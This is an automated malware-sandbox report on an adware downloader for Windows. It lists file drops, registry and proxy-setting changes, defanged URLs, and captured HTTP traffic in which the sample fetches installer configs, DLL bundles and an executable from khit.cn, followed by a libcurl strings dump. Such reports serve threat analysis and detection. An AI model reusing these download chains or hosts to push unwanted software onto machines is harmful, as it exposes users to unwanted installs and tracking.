MD5: 0e9b3d4b14bdf94d5ee22f44f60c2871
SHA1: 994fcdae4b9719ef684269d37de56d4c7c85091d
SHA256: 2230e5a3a05d55b7258294bfaea5fb1956ab9847099b92800b7efd279374655f
SSDeep: 24576:1uvwK0kJZbMDOpZMmtSRMxTALh3wnjw4lG0NOVkysxHHHwud98 g2:MvwKKwnjw4l7FJHHwud9C2
Size: 959768 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: ??(??)????????
Created at: 2017-03-10 10:06:45
Analyzed on: Windows7 SP1 32-bit

Summary:

Adware. Delivers advertising content in a manner or context that may be unexpected and unwanted by users. Many adware applications also perform tracking functions. Users may want to remove adware if they object to such tracking, do not wish to see the advertising caused by the program or are frustrated by its effects on system performance.

Payload

No specific payload has been found.

Process activity

The PUP creates the following process(es):
No processes have been created.
The PUP injects its code into the following process(es):

%original file name%.exe:2084

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2084 makes changes in the file system.
The PUP creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\XLBugHandler.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\RlDateSet[1].exe (75617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\XLBugReport.exe (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\azqconfig.ini (39 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\minizip.dll (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\MiniThunderPlatform.exe (9608 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\msvcp71.dll (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\softitems.ini (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\xldl.dll (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\atl71.dll (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\zlib1.dll (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\id.dat (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\download_engine.dll (106875 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RlDateSet.exe (34202 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\msvcr71.dll (12088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\qudao.gif (219 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\dl_peer_id.dll (3312 bytes)

The PUP deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RlDateSet.exe (0 bytes)

Registry activity

The process %original file name%.exe:2084 makes changes in the system registry.
The PUP creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad]
"WpadLastNetwork" = "{24C5EDBC-2851-452A-B521-5DA992F6C1B5}"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Classes\Local Settings\MuiCache\2F\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadDecision" = "3"
"WpadDecisionTime" = "60 BE E2 CC 1D B8 D2 01"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecision" = "3"
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 36 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadNetworkName" = "Network 2"
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 09 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecisionTime" = "60 BE E2 CC 1D B8 D2 01"

[HKLM\SOFTWARE\Microsoft\Tracing\0e9b3d4b14bdf94d5ee22f44f60c2871_RASMANCS]
"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The PUP deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: ??(??)????????
Product Name: Downloader
Product Version: 1.0.0.0
Legal Copyright: Copyright (C) 2016 ????
Legal Trademarks:
Original Filename: Downloader
Internal Name: Downloader
File Version: 1.0.0.0
File Description: Downloader
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
0081946a286cd2f8c2b16c92ad4fb61a

URLs

URL	IP
hxxp://tf02.dlmix.ourdvs.com/xldl.zip
hxxp://tf02.dlmix.ourdvs.com/soft/.ini
hxxp://tf02.dlmix.ourdvs.com/soft/azqconfig1.ini
hxxp://tf02.dlmix.ourdvs.com/soft/kpazq4.ini
hxxp://tf02.dlmix.ourdvs.com/qudao/RlDateSet.exe
khit.cn	87.245.198.84
teredo.ipv6.microsoft.com	157.56.106.189
dns.msftncsi.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /soft/kpazq4.ini HTTP/1.1

Host: khit.cn

Accept: */*

HTTP/1.1 200 OK

Date: Tue, 18 Apr 2017 08:28:44 GMT

Content-Type: application/octet-stream

Content-Length: 3491

Last-Modified: Tue, 18 Apr 2017 03:47:40 GMT

ETag: "58f58c5c-da3"

Accept-Ranges: bytes

Via: 1.1 zhj21:9 (Cdn Cache Server V2.0), 1.1 tdx139:0 (Cdn Cache Server V2.0), 1.1 db79:5 (Cdn Cache Server V2.0)

Connection: keep-alive
[kpcount]..count=12..[kplnk1]..name=........lnk=hXXp://dl.static.iqiyi
.com/hz/IQIYIsetup_qudao@kb133.exe..exe=IQIYIsetup_qudao@kb133.exe..ar
g=..rootkey=HKEY_LOCAL_MACHINE..subkey=Software\Microsoft\Windows\Curr
entVersion\Uninstall\PPStream..keyitem=DisplayIcon..[kplnk2]..name=QQ.
.......lnk=hXXp://misc.wcd.qq.com/app?packageName=pcqqbrowser&channelI
d=92253..exe=V9._92253_20170110170558.exe..arg=..rootkey=HKEY_LOCAL_MA
CHINE..subkey=Software\Microsoft\Windows\CurrentVersion\Uninstall\QQBr
owser..keyitem=DisplayIcon..[kplnk3]..name=UC........lnk=hXXp://down2.
uc.cn/pcbrowser/down.php?pid=4558..exe=UCBrowser_V6.1.2107.204_4558_(B
uild1703071827)_ChannelU_03081433.exe..arg=..rootkey=HKEY_LOCAL_MACHIN
E..subkey=Software\Microsoft\Windows\CurrentVersion\Uninstall\UCBrowse
r..keyitem=DisplayIcon..[kplnk4]..name=..........lnk=hXXp://8uy.10tyw.
com/addins/acsr/TJSJ30_2016388.exe..exe=TJSJ30_2016388.exe..arg=..root
key=HKEY_LOCAL_MACHINE..subkey=SOFTWARE\Classes\CLSID\{FC70EFDD-2741-4
95C-9A93-42408F6878D9}..keyitem=ex..[kplnk5]..name=..........lnk=http:
//VVV.haotukankan.com/downloads.php?qid=kuaiping01&alias=silent..exe=h
aotukankan_setup_1.0.5.3_NS$silent@kuaiping01.exe..arg=..rootkey=HKEY_
LOCAL_MACHINE..subkey=Software\Microsoft\Windows\CurrentVersion\Uninst
all\{01EB3F15-6569-4FCD-A1AA-913E906E2194}..keyitem=DisplayIcon..[kpln
k6]..name=......lnk=hXXp://dl.kkdownload.com/kzzapf/KuaiZip_Setup_3856
740798_zapf_001.exe..exe=KuaiZip_Setup_3856740798_zapf_001.exe..arg=..
rootkey=HKEY_LOCAL_MACHINE..subkey=Software\Microsoft\Windows\Curr
<<< skipped >>>

GET /soft/.ini HTTP/1.1

Host: khit.cn

Accept: */*

HTTP/1.1 404 Not Found

Date: Tue, 18 Apr 2017 08:28:43 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 219

Via: 1.1 zhenjiang20:6 (Cdn Cache Server V2.0), 1.1 tdx134:0 (Cdn Cache Server V2.0), 1.1 db79:8 (Cdn Cache Server V2.0)

Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server.</body>..<
/html>....

GET /xldl.zip HTTP/1.1

Host: khit.cn

Accept: */*

HTTP/1.0 200 OK

Date: Mon, 20 Mar 2017 05:32:26 GMT

Content-Type: application/zip

Content-Length: 2201322

Last-Modified: Mon, 25 Apr 2016 05:14:38 GMT

ETag: "571da7be-2196ea"

Accept-Ranges: bytes

Age: 2516171

Via: 1.0 db79:6 (Cdn Cache Server V2.0)

Connection: keep-alive
PK.........z.D................download/PK.........y.DZ........^......d
ownload/atl71.dll...|T..7z&3I...!...u..X.'.|M&...A..d...g$.!.$&g.k..Il
.....-..}.b.liK[..".C.T.h..B...NLj.F.52...>...}....w.... ....^.{...
^g...... .*.. .=...._.S .a.5..%.....=....-....ojn...r.~seCC....Z..h.oi
...a.om..^6s.................=.]%p...2.u........<s?..?...h..{..?..9
....Q.......d....-.k....b..B."R..~$..7(..v."z.....r..S..c.......^....B
....`.u<..s..S........B&.x.`.~..6)...A0.%.._.(.....4  .....|.X.C.N&
gt;#g...B..^.6-k... ..8M.{:..P:........(".^.<].N.....y3.YYQf.:D.$..
e.... .],..a.p.$..SW...}.O.OPI:.(Am.....*s... Y....C#.j.y......g.. .F.
#....9...V.,..K.......hw.XI........Og.x.#.c....1q...iw.3.n.d..u.i.?;/9
...*.J.R..t....O...p..N....}(.......CS...:. .nK........\..8..#.3.m..=.
....D...d.....z......g.M../{~rD.v.v.@..{w.&.f...u.vOo.P.(t.FE.G.EIb..L
E]..A.P.i.. 8Oh.....4..o..z......1Q......W$..$H..r.*M.. ....O.......F.
...B.4.,..J'=O.E_.$&.Q)..a.]jM.uz.().....(Tf...zK..l............*.....
.k....r...C.\..D......U..Z.Z.U.......M.%q..>...#.G...;....z..$*....
m*.C-EU }...*....;{.{.w.v.k.ZD.z.}N.w.)^..*..y..l...m.....M#8T.....'5.
Nu.....A.E..Q..7.]..........b4...87...B..[..^...........;wM..V.D...:..
.jSK...<...?E.nT...y..3XU......g7zM;.v^kso@....1*@.,......tV.w&.^\.
^.......@....x7.....1..@*......X.........>h...D.7.;7..N....h....U..
........ .U..:..............yh,..b.d....FW.w.bpq... UV.e.;7....xW..]&l
t;~.2.pm..t...7.~Q#....".u.. .h..m%6p......m...D...yj.....*..i.....gw.
....H...a. O-]..=:..A.[..4..%..T.j....q].itH..a.;Sp.r..TO....u....
<<< skipped >>>

GET /soft/azqconfig1.ini HTTP/1.1

Host: khit.cn

Accept: */*

HTTP/1.1 200 OK

Date: Tue, 18 Apr 2017 06:37:40 GMT

Content-Type: application/octet-stream

Content-Length: 39

Last-Modified: Mon, 27 Mar 2017 10:19:01 GMT

ETag: "58d8e715-27"

Accept-Ranges: bytes

Age: 6664

Via: 1.1 zhenjiang20:8 (Cdn Cache Server V2.0), 1.1 dxinxzai56:0 (Cdn Cache Server V2.0), 1.1 db79:5 (Cdn Cache Server V2.0)

Connection: keep-alive
[qd]..azq1=1..azq23=1..azq34=1..azq33=1..

GET /qudao/RlDateSet.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: khit.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 20 Mar 2017 10:35:13 GMT

Content-Type: application/octet-stream

Content-Length: 962328

Last-Modified: Tue, 26 Jul 2016 08:47:49 GMT

ETag: "579723b5-eaf18"

Accept-Ranges: bytes

Age: 2498015

Via: 1.1 db80:5 (Cdn Cache Server V2.0)

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........l....\...\
...\...\...\.T.\...\.T.\...\.T.\...\.T.\...\...\...\...\...\...\q..\.T
.\...\.T.\...\.T.\...\Rich...\........PE..L....j.V....................
.n......P.............@..................................G....@.......
................................... ...............r...=...0...n..@...
.............................p..@.....................................
.......text............................... ..`.rdata..................
............@..@.data....1.......(..................@....rsrc........ 
......................@..@.reloc...|...0...~..................@..B....
......................................................................
......................................................................
......................................................................
......................................................................
................................................L..%$.L.....U..V......
L...$.L..E..t.V....L......^]..........U..Q.........}...........P....I.
..@..u. .tp.E.Vj.j.j.Sj.P..8.L.....~G3..F...........W....Q........D6.P
j.W......M....VWj.Sj.Q..8.L...t..U..:_.M.3.9.^.....].2...]............
....U..j.h..K.d.....P..(...M.3..E.SVWP.E.d.......3....}..U.;..........
p...@:.u. .......3..E......U.f.E..M..U..U.Q.U.R......]......t*..t4...P
...$....f.....f..u. ...P...u........t.S....L.....u..G......G.....3.f..
.}.......}..r..M.Q....L........3..G......W.f..R.<.L...........M
<<< skipped >>>

The PUP connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

@.reloc

<%u7j

X<%u2j

xSSSh

FTPjKS

FtPj;S

C.PjRV

!"MMM#M$M%MM&M'()MMMM%MMMMMMMM*MMMMMMMMMMMM MM,-MMMMMMMMMMM.M/MMMMMMMMMMMMMM01MM234MM56789MMMMMMMM:;MM<=>MM?MMMMM@ABMMMMMCMDMMMMMEMMFGHIJMMMKML

>%ugj

%u$Wj%

t.Gj:W

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

Visual C   CRT: Not enough memory to complete call to strerror.

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

operator

GetProcessWindowStation

.html

.jpeg

; filename="%s"

------------------------xx

--%s--

couldn't open file "%s"

Content-Type: %s

Content-Type: multipart/mixed; boundary=%s

%s; boundary=%s

Could not resolve %s: %s

getaddrinfo() failed for %s:%d; %s

init_resolve_thread() failed for %s; %s

%s:%d

Hostname %s was found in DNS cache

Added %s:%d:%s to DNS cache

Address in '%s' found illegal!

Couldn't parse CURLOPT_RESOLVE entry '%s'!

%5[^:]:%d:%5s

Couldn't parse CURLOPT_RESOLVE removal entry '%s'!

%5[^:]:%d

Connected to %s (%s) port %ld (#%ld)

IDN support not present, can't parse Unicode domains

Protocol "%s" not supported or disabled in libcurl

http_proxy

Port number out of range

%s://%s%s%s:%hu%s%s%s

;type=%c

[%*45[0123456789abcdefABCDEF:.]%c

Couldn't find host %s in the _netrc file; using defaults

PTF@example.com

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

User-Agent: %s

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Multiplexed connection found!

Pipe is full, skip (%zu)

Server doesn't support multi-use (yet)

Server doesn't support multi-use yet, wait

Found bundle for host %s: %p

Please URL encode %% as %%, see RFC 6874.

Connection #%ld to host %s left intact

Rebuilt URL to: %s

smtp

SMTP.

<url> malformed

:]://%[^

[^:]:%[^

Illegal characters found in URL

No more connections allowed to host: %d

Re-using existing connection! (#%ld) with %s %s

Found connection %ld, with requests in the pipe (%zu)

%s://%s

Internal error removing splay node = %d

Internal error clearing splay node = %d

Curl_poll(%d ds, %d ms)

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %I64d bytes received

Operation timed out after %ld milliseconds with %I64d out of %I64d bytes received

Pipe broke: handle %p, url = %s

[%s %s %s]

Send failure: %s

Recv failure: %s

Write callback asked for PAUSE when not supported!

%s cookie %s="%s" for domain %s, path %s, expire %I64d

#HttpOnly_

skipped cookie with bad tailmatch domain: %s

httponly

23[^;

=] =I99[^;

%s%s%s

# Fatal libcurl error

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

ignoring failed cookie_init for %s

WARNING: failed to save cookies in %s

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Failed to set SO_KEEPALIVE on fd %d

bind failed with errno %d: %s

Local port: %hu

Couldn't bind to '%s'

getsockname() failed with errno %d: %s

Bind to local port %hu failed, trying next

Name '%s' family %i resolved to '%s' family %i

Couldn't bind to interface '%s'

Local Interface %s is ip %s using address family %i

ssloc inet_ntop() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

getpeername() failed with errno %d: %s

TCP_NODELAY set

Could not set TCP_NODELAY: %s

Immediate connect fail for %s: %s

Trying %s...

sa_addr inet_ntop() failed with errno %d: %s

Failed to connect to %s port %ld: %s

connect to %s port %ld failed: %s

SSL server certificate status verification FAILED

SSL public key does not match pinned public key

Unable to parse FTP file list

Error in the SSH layer

Caller must register CURLOPT_CONV_ callback options

TFTP: No such user

TFTP: Unknown transfer ID

TFTP: Illegal operation

TFTP: Access Violation

TFTP: File Not Found

Login denied

Issuer check against peer certificate failed

Invalid LDAP URL

Unrecognized or bad HTTP Content or Transfer-Encoding

Problem with the SSL CA cert (path? access rights?)

Peer certificate cannot be authenticated with given CA certificates

Problem with the local SSL certificate

SSL peer certificate or SSH remote key was not OK

An unknown option was passed in to libcurl

A libcurl function was given a bad argument

Operation was aborted by an application callback

FTP: command REST failed

FTP: command PORT failed

HTTP response code said error

FTP: couldn't retrieve (RETR failed) the specified file

FTP: couldn't set file type

Error in the HTTP2 framing layer

FTP: can't figure out the host in the PASV response

FTP: unknown 227 response format

FTP: unknown PASV reply

FTP: unknown PASS reply

FTP: The server did not accept the PRET command.

FTP: Accepting server connect has timed out

FTP: The server failed to connect to data port

FTP: weird server reply

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

URL using bad/illegal format or missing URL

Unsupported protocol

Winsock version not supported

Protocol family not supported

Address family not supported

Operation not supported

Socket is unsupported

Protocol is unsupported

Protocol option is unsupported

Unknown error %d (%#x)

0123456789

%d.%d.%d.%d

%s%s%s%s%s%s

Session: %s

%s %s RTSP/1.0

Range: %s

Referer: %s

Accept-Encoding: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Transport: %s

Transport:

Refusing to issue an RTSP request [%s] without a session ID.

Got RTSP Session ID Line [%s], but wanted ID [%s]

Unable to read the CSeq header: [%s]

SMTP

EHLO %s

HELO %s

AUTH %s

AUTH %s %s

No known authentication mechanisms supported!

%s %s

MAIL FROM:%s SIZE=%s

MAIL FROM:%s AUTH=%s SIZE=%s

MAIL FROM:%s AUTH=%s

MAIL FROM:%s

RCPT TO:<%s>

RCPT TO:%s

Got unexpected smtp-server response: %d

STARTTLS denied. %c

STARTTLS not supported.

Remote access denied: %d

Command failed: %d

MAIL failed: %d

RCPT failed: %d

DATA failed: %d

SMTPS not supported!

curl

USER %s

APOP %s %s

STLS not supported.

Authentication failed: %d

PASS %s

Access denied. %c

POP3S not supported!

IMAPS not supported!

%cd

LOGIN %s %s

AUTHENTICATE %s

AUTHENTICATE %s %s

LIST "%s" *

SELECT %s

FETCH %s BODY[%s]

FETCH %s BODY[%s]<%s>

APPEND %s (\Seen) {%I64d}

SEARCH %s

LOGINDISABLED

TFTP

set timeouts for state %d; Total %ld, retry %d maxtry %d

invalid tsize -:%s:- value in OACK packet

%s (%ld)

blksize is smaller than min supported

%s (%d)

blksize is larger than max supported

%s (%d) %s (%d)

got option=(%s) value=(%s)

tftp_rx: internal error

Timeout waiting for block %d ACK. Retries = %d

Received unexpected DATA packet block %d, expecting block %d

Received last DATA packet block %d again.

tftp_tx: internal error, event: %i

tftp_tx: giving up waiting for block %d ack

Received ACK for block %d, expecting %d

bind() failed; %s

tftp_send_first: internal error

%s%c%s%c

TFTP finished

TFTP response timeout

Can't get the size of %s

Can't open %s for writing

Last-Modified: %s, d %s M d:d:d GMT

Couldn't open file %s

There are more than %d entries

LDAP remote: %s

LDAP local: ldap_simple_bind_s %s

LDAP local: Cannot connect to %s:%ld

LDAP local: trying to establish %s connection

LDAP local: %s

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

CLIENT libcurl 7.44.0

MATCH %s %s %s

DEFINE %s %s

insufficient winsock version to support telnet

WSAStartup failed (%d)

%s %d %d

%s %s %d

%s %s %s

%s IAC %d

%s IAC %s

Sending data failed (%d)

%d (unknown)

%s (unsupported)

%s IAC SB

Unknown telnet option %s

Syntax error in telnet option: %s

7[^= ]%*[ =]%5s

USER,%s

%c%c%c%c%s%c%c

%c%s%c%s

7[^,],7s

%c%c%c%c

FreeLibrary(wsock2) failed (%d)

WSACloseEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACreateEvent failed (%d)

failed to find WSAEnumNetworkEvents function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSACreateEvent function (%d)

failed to load WS2_32.DLL (%d)

WS2_32.DLL

PORT

Failure sending PORT command: %s

,%d,%d

Failure sending EPRT command: %s

%s |%d|%s|%hu|

bind() failed, we ran out of ports!

bind(port=%hu) failed: %s

bind(port=%hu) on non-local address failed: %s

socket failure: %s

failed to resolve the address provided to PORT: %s

getsockname() failed: %s

Connect data stream passively

STOR %s

APPE %s

SIZE %s

RETR %s

ftp server doesn't support SIZE

PBSZ %d

Access denied: d

ACCT %s

ACCT rejected by server: d

Connecting to %s (%s) port %d

Failure sending QUIT command: %s

Uploading to a URL without a file name!

FTPS not supported!

FTP response aborted due to select/poll error: %d

FTP response timeout

MDTM %s

Bad PASV/EPSV response: d

Can't resolve new host %s:%hu

Can't resolve proxy host %s:%hu

Skip %d.%d.%d.%d for data connection, re-use %s instead

%d,%d,%d,%d,%d,%d

Illegal port number in EPSV reply

%c%c%c%u%c

ddd d:d:d GMT

dddddd

unsupported MDTM reply format

QUOT string not accepted: %s

Wildcard - "%s" skipped by user

Wildcard - START of "%s"

Preparing for accepting server on data port

CWD %s

Failed FTP upload: 

RETR response: d

server did not report OK, got %d

Failure sending ABOR command: %s

Remembering we are in dir "%s"

ftp_perform ends with SECONDARY: %d

PRET RETR %s

PRET STOR %s

PRET %s

REST %d

Got a d response code instead of the assumed 200

TYPE %c

Failed to do PORT

PRET command not accepted: d

Failed to MKD dir: d

MKD %s

QUOT command failed with d

Entry path is '%s'

PROT %c

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

Got a d ftp-server response when 220 was expected

%sAuthorization: Basic %s

%s:%s

%s auth using %s with user '%s'

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %d

The requested URL returned error: %s

If-Unmodified-Since: %s

Last-Modified: %s

If-Modified-Since: %s

%s, d %s M d:d:d GMT

Failed sending HTTP POST request

Content-Type: application/x-www-form-urlencoded

Internal HTTP POST error!

Failed sending HTTP request

%s%s=%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

PTF://%s:%s@%s

Content-Range: bytes %s/%I64d

Content-Range: bytes %s%I64d/%I64d

Range: bytes=%s

Host: %s%s%s:%hu

Host: %s%s%s

PTF://

Chunky upload is not supported by HTTP 1.0

HTTP error before end of send, stop sending

Connection closure while negotiating auth (HTTP 1.0?)

HTTP/1.0 connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 proxy connection set to keep alive!

HTTP 1.0, assume close after body

RTSP/%d.%d =

HTTP =

Lying server, not serving HTTP/2

HTTP/%d.%d %d

Conn: %ld (%p) Receive pipe weight: (%I64d/%zu), penalized: %s

Site %s:%d is pipeline blacklisted

Server %s is blacklisted

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

SOCKS4%s request granted.

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4 connect to %s (locally resolved)

SOCKS4 communication to %s:%d

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

SOCKS5 GSSAPI per-message authentication is not supported.

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Failed to resolve "%s" for SOCKS5 connect.

User was rejected by the SOCKS5 server (%d %d).

Received HTTP code %d from proxy after CONNECT

TUNNEL_STATE switched to: %d

HTTP/1.%d %d

CONNECT %s HTTP/%s

%s%s%s%s

Host: %s

%s%s%s:%hu

%s:%hu

Establish HTTP proxy tunnel to %s:%hu

password

login

--:--:--

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s

@Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

Read callback asked for PAUSE when not supported!

operation aborted by callback

ioctl callback returned error %d

the ioctl callback returned %d

seek callback returned error %d

%s in chunked-encoding

Simulate a HTTP 304 response!

HTTP server doesn't seem to support byte ranges. Cannot resume.

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

Excess found in a non pipelined read: excess = %zu, size = %I64d, maxdownload = %I64d, bytecount = %I64d

Rewinding stream by : %zu bytes on url %s (size = %I64d, maxdownload = %I64d, bytecount = %I64d, nread = %zd)

Rewinding stream by : %zd bytes on url %s (zero-length body)

No URL set!

[^?&/:]://%c

Disables POST, goes with %s

Issue another request to this URL: '%s'

%sAuthorization: Digest %s

%sAuthorization: NTLM %s

d:d

d:d:d

LOGIN

%s/%s

%s xxxxxxxxxxxxxxxx

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s,qop=%s

xxxx

00000001

%s, algorithm="%s"

%s, opaque="%s"

